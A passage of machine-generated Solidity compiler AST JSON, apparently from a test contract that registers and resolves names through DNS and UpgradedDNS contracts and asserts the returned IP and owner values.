(bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":916,\"name\":\"Identifier\",\"src\":\"4075:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":917,\"name\":\"Identifier\",\"src\":\"4084:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":918,\"name\":\"Identifier\",\"src\":\"4088:2:2\"}],\"id\":919,\"name\":\"FunctionCall\",\"src\":\"4075:16:2\"}],\"id\":920,\"name\":\"ExpressionStatement\",\"src\":\"4075:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":921,\"name\":\"Identifier\",\"src\":\"4095:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":922,\"name\":\"Identifier\",\"src\":\"4104:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":923,\"name\":\"ElementaryTypeName\",\"src\":\"4111:7:2\"}],\"id\":924,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"4111:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":925,\"name\":\"Identifier\",\"src\":\"4119:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":926,\"name\":\"Literal\",\"src\":\"4125:1:2\"}],\"id\":927,\"name\":\"IndexAccess\",\"src\":\"4119:8:2\"}],\"id\":928,\"name\":\"FunctionCall\",\"src\":\"4111:17:2\"}],\"id\":929,\"name\":\"FunctionCall\",\"src\":\"4095:34:2\"}],\"id\":930,\"name\":\"ExpressionStatement\",\"src\":\"4095:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":931,\"name\":\"Identifier\",\"src\":\"4186:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":932,\"name\":\"Identifier\",\"src\":\"4190:5:2\"}],\"id\":933,\"name\":\"TupleExpression\",\"src\":\"4185:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":418,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":934,\"name\":\"Identifier\",\"src\":\"4199:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":935,\"name\":\"Literal\",\"src\":\"4205:1:2\"}],\"id\":936,\"name\":\"IndexAccess\",\"src\":\"4199:8:2\"}],\"id\":937,\"name\":\"MemberAccess\",\"src\":\"4199:16:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":938,\"name\":\"Identifier\",\"src\":\"4216:2:2\"}],\"id\":939,\"name\":\"FunctionCall\",\"src\":\"4199:20:2\"}],\"id\":940,\"name\":\"Assignment\",\"src\":\"4185:34:2\"}],\"id\":941,\"name\":\"ExpressionStatement\",\"src\":\"4185:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":942,\"name\":\"Identifier\",\"src\":\"4223:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":943,\"name\":\"Identifier\",\"src\":\"4232:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":944,\"name\":\"Identifier\",\"src\":\"4236:2:2\"}],\"id\":945,\"name\":\"FunctionCall\",\"src\":\"4223:16:2\"}],\"id\":946,\"name\":\"ExpressionStatement\",\"src\":\"4223:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":947,\"name\":\"Identifier\",\"src\":\"4243:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":948,\"name\":\"Identifier\",\"src\":\"4252:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":949,\"name\":\"ElementaryTypeName\",\"src\":\"4259:7:2\"}],\"id\":950,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"4259:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":951,\"name\":\"Identifier\",\"src\":\"4267:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":952,\"name\":\"Literal\",\"src\":\"4273:1:2\"}],\"id\":953,\"name\":\"IndexAccess\",\"src\":\"4267:8:2\"}],\"id\":954,\"name\":\"FunctionCall\",\"src\":\"4259:17:2\"}],\"id\":955,\"name\":\"FunctionCall\",\"src\":\"4243:34:2\"}],\"id\":956,\"name\":\"ExpressionStatement\",\"src\":\"4243:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":957,\"name\":\"Identifier\",\"src\":\"4334:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":958,\"name\":\"Literal\",\"src\":\"4340:1:2\"}],\"id\":959,\"name\":\"IndexAccess\",\"src\":\"4334:8:2\"}],\"id\":960,\"name\":\"MemberAccess\",\"src\":\"4334:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":961,\"name\":\"Identifier\",\"src\":\"4352:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":962,\"name\":\"Identifier\",\"src\":\"4356:2:2\"}],\"id\":963,\"name\":\"FunctionCall\",\"src\":\"4334:25:2\"}],\"id\":964,\"name\":\"ExpressionStatement\",\"src\":\"4334:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":965,\"name\":\"Identifier\",\"src\":\"4401:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":966,\"name\":\"Identifier\",\"src\":\"4405:5:2\"}],\"id\":967,\"name\":\"TupleExpression\",\"src\":\"4400:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":968,\"name\":\"Identifier\",\"src\":\"4414:3:2\"}],\"id\":969,\"name\":\"MemberAccess\",\"src\":\"4414:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":970,\"name\":\"Identifier\",\"src\":\"4426:2:2\"}],\"id\":971,\"name\":\"FunctionCall\",\"src\":\"4414:15:2\"}],\"id\":972,\"name\":\"Assignment\",\"src\":\"4400:29:2\"}],\"id\":973,\"name\":\"ExpressionStatement\",\"src\":\"4400:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":974,\"name\":\"Identifier\",\"src\":\"4433:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":975,\"name\":\"Identifier\",\"src\":\"4442:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":976,\"name\":\"Identifier\",\"src\":\"4446:2:2\"}],\"id\":977,\"name\":\"FunctionCall\",\"src\":\"4433:16:2\"}],\"id\":978,\"name\":\"ExpressionStatement\",\"src\":\"4433:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":979,\"name\":\"Identifier\",\"src\":\"4453:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":980,\"name\":\"Identifier\",\"src\":\"4462:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":981,\"name\":\"ElementaryTypeName\",\"src\":\"4469:7:2\"}],\"id\":982,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"4469:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":983,\"name\":\"Identifier\",\"src\":\"4477:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":984,\"name\":\"Literal\",\"src\":\"4483:1:2\"}],\"id\":985,\"name\":\"IndexAccess\",\"src\":\"4477:8:2\"}],\"id\":986,\"name\":\"FunctionCall\",\"src\":\"4469:17:2\"}],\"id\":987,\"name\":\"FunctionCall\",\"src\":\"4453:34:2\"}],\"id\":988,\"name\":\"ExpressionStatement\",\"src\":\"4453:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":989,\"name\":\"Identifier\",\"src\":\"4514:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":990,\"name\":\"Identifier\",\"src\":\"4518:5:2\"}],\"id\":991,\"name\":\"TupleExpression\",\"src\":\"4513:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":418,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":992,\"name\":\"Identifier\",\"src\":\"4527:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":993,\"name\":\"Literal\",\"src\":\"4533:1:2\"}],\"id\":994,\"name\":\"IndexAccess\",\"src\":\"4527:8:2\"}],\"id\":995,\"name\":\"MemberAccess\",\"src\":\"4527:16:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":996,\"name\":\"Identifier\",\"src\":\"4544:2:2\"}],\"id\":997,\"name\":\"FunctionCall\",\"src\":\"4527:20:2\"}],\"id\":998,\"name\":\"Assignment\",\"src\":\"4513:34:2\"}],\"id\":999,\"name\":\"ExpressionStatement\",\"src\":\"4513:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":1000,\"name\":\"Identifier\",\"src\":\"4551:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1001,\"name\":\"Identifier\",\"src\":\"4560:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":1002,\"name\":\"Identifier\",\"src\":\"4564:2:2\"}],\"id\":1003,\"name\":\"FunctionCall\",\"src\":\"4551:16:2\"}],\"id\":1004,\"name\":\"ExpressionStatement\",\"src\":\"4551:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":1005,\"name\":\"Identifier\",\"src\":\"4571:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1006,\"name\":\"Identifier\",\"src\":\"4580:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1007,\"name\":\"ElementaryTypeName\",\"src\":\"4587:7:2\"}],\"id\":1008,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"4587:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1009,\"name\":\"Identifier\",\"src\":\"4595:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":1010,\"name\":\"Literal\",\"src\":\"4601:1:2\"}],\"id\":1011,\"name\":\"IndexAccess\",\"src\":\"4595:8:2\"}],\"id\":1012,\"name\":\"FunctionCall\",\"src\":\"4587:17:2\"}],\"id\":1013,\"name\":\"FunctionCall\",\"src\":\"4571:34:2\"}],\"id\":1014,\"name\":\"ExpressionStatement\",\"src\":\"4571:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1015,\"name\":\"Identifier\",\"src\":\"4675:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1016,\"name\":\"Identifier\",\"src\":\"4679:5:2\"}],\"id\":1017,\"name\":\"TupleExpression\",\"src\":\"4674:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":2302,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":1018,\"name\":\"Identifier\",\"src\":\"4688:6:2\"}],\"id\":1019,\"name\":\"MemberAccess\",\"src\":\"4688:14:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":790,\"type\":\"string memory\",\"value\":\"d3\"},\"id\":1020,\"name\":\"Identifier\",\"src\":\"4703:2:2\"}],\"id\":1021,\"name\":\"FunctionCall\",\"src\":\"4688:18:2\"}],\"id\":1022,\"name\":\"Assignment\",\"src\":\"4674:32:2\"}],\"id\":1023,\"name\":\"ExpressionStatement\",\"src\":\"4674:32:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":1024,\"name\":\"Identifier\",\"src\":\"4710:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":1025,\"name\":\"Identifier\",\"src\":\"4719:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":794,\"type\":\"bytes4\",\"value\":\"i3\"},\"id\":1026,\"name\":\"Identifier\",\"src\":\"4723:2:2\"}],\"id\":1027,\"name\":\"FunctionCall\",\"src\":\"4710:16:2\"}],\"id\":1028,\"name\":\"ExpressionStatement\",\"src\":\"4710:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":1029,\"name\":\"Identifier\",\"src\":\"4730:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":1030,\"name\":\"Identifier\",\"src\":\"4739:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":1031,\"name\":\"ElementaryTypeName\",\"src\":\"4746:7:2\"}],\"id\":1032,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"4746:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":1033,\"name\":\"Identifier\",\"src\":\"4754:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":1034,\"name\":\"Literal\",\"src\":\"4760:1:2\"}],\"id\":1035,\"name\":\"IndexAccess\",\"src\":\"4754:8:2\"}],\"id\":1036,\"name\":\"FunctionCall\",\"src\":\"4746:17:2\"}],\"id\":1037,\"name\":\"FunctionCall\",\"src\":\"4730:34:2\"}],\"id\":1038,\"name\":\"ExpressionStatement\",\"src\":\"4730:34:2\"},{\"attributes\":{\"assignments\":[1040]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i2_2\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1039,\"name\":\"ElementaryTypeName\",\"src\":\"4819:6:2\"}],\"id\":1040,\"name\":\"VariableDeclaration\",\"src\":\"4819:11:2\"},{\"attributes\":{\"hexvalue\":\"30786361666563616665\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 